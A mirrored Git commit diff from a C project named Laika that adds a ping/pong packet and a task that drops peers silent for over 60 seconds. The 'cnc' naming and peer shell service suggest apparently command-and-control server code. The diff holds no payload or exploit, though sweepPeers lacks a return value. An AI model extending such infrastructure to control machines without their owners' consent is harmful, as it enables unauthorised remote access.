mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-06 08:00:15 +00:00
Added LAIKAPKT_PINGPONG
- shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h
This commit is contained in:
@@ -6,12 +6,17 @@
|
||||
#include "lsocket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lpeer.h"
|
||||
#include "ltask.h"
|
||||
#include "hashmap.h"
|
||||
|
||||
/* kill peers if they haven't ping'd within a minute */
|
||||
#define LAIKA_PEER_TIMEOUT 60 * 1000
|
||||
|
||||
typedef bool (*tLaika_peerIter)(struct sLaika_peer *peer, void *uData);
|
||||
|
||||
struct sLaika_peerInfo {
|
||||
struct sLaika_cnc *cnc;
|
||||
long lastPing;
|
||||
};
|
||||
|
||||
#define BASE_PEERINFO struct sLaika_peerInfo info;
|
||||
@@ -63,4 +68,9 @@ void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData)
|
||||
|
||||
struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
||||
|
||||
/* kills peers who haven't ping'd in a while */
|
||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
|
||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
||||
|
||||
#endif
|
@@ -2,6 +2,7 @@
|
||||
#include "lsodium.h"
|
||||
#include "lsocket.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
|
||||
#include "cpanel.h"
|
||||
#include "cnc.h"
|
||||
@@ -12,6 +13,7 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
|
||||
|
||||
pInfo->cnc = cnc;
|
||||
pInfo->lastPing = laikaT_getTime();
|
||||
return pInfo;
|
||||
}
|
||||
|
||||
@@ -134,6 +136,13 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
|
||||
}
|
||||
|
||||
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
|
||||
|
||||
pInfo->lastPing = laikaT_getTime();
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
|
||||
}
|
||||
|
||||
/* =============================================[[ Packet Tables ]]============================================== */
|
||||
|
||||
#define DEFAULT_PKT_TBL \
|
||||
@@ -141,6 +150,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
|
||||
laikaC_handleHandshakeRequest, \
|
||||
LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \
|
||||
false), \
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG, \
|
||||
laikaC_handlePing, \
|
||||
0, \
|
||||
false), \
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
|
||||
laikaC_handleAuthenticatedHandshake, \
|
||||
sizeof(uint8_t), \
|
||||
@@ -421,6 +434,22 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
|
||||
return elem ? elem->peer : NULL;
|
||||
}
|
||||
|
||||
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
|
||||
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData;
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
||||
long currTime = laikaT_getTime();
|
||||
|
||||
/* peer has been silent for a while, kill 'em */
|
||||
if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT)
|
||||
laikaC_killPeer(cnc, peer);
|
||||
}
|
||||
|
||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
|
||||
|
||||
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
|
||||
}
|
||||
|
||||
/* ===============================================[[ Peer Iter ]]================================================ */
|
||||
|
||||
struct sWrapperData {
|
||||
|
@@ -56,6 +56,7 @@ int main(int argv, char *argc[]) {
|
||||
return 1;
|
||||
|
||||
laikaT_initTaskService(&tService);
|
||||
laikaT_newTask(&tService, 1000, laikaC_sweepPeersTask, (void*)cnc);
|
||||
|
||||
/* start cnc */
|
||||
laikaC_bindServer(cnc);
|
||||
|
Reference in New Issue
Block a user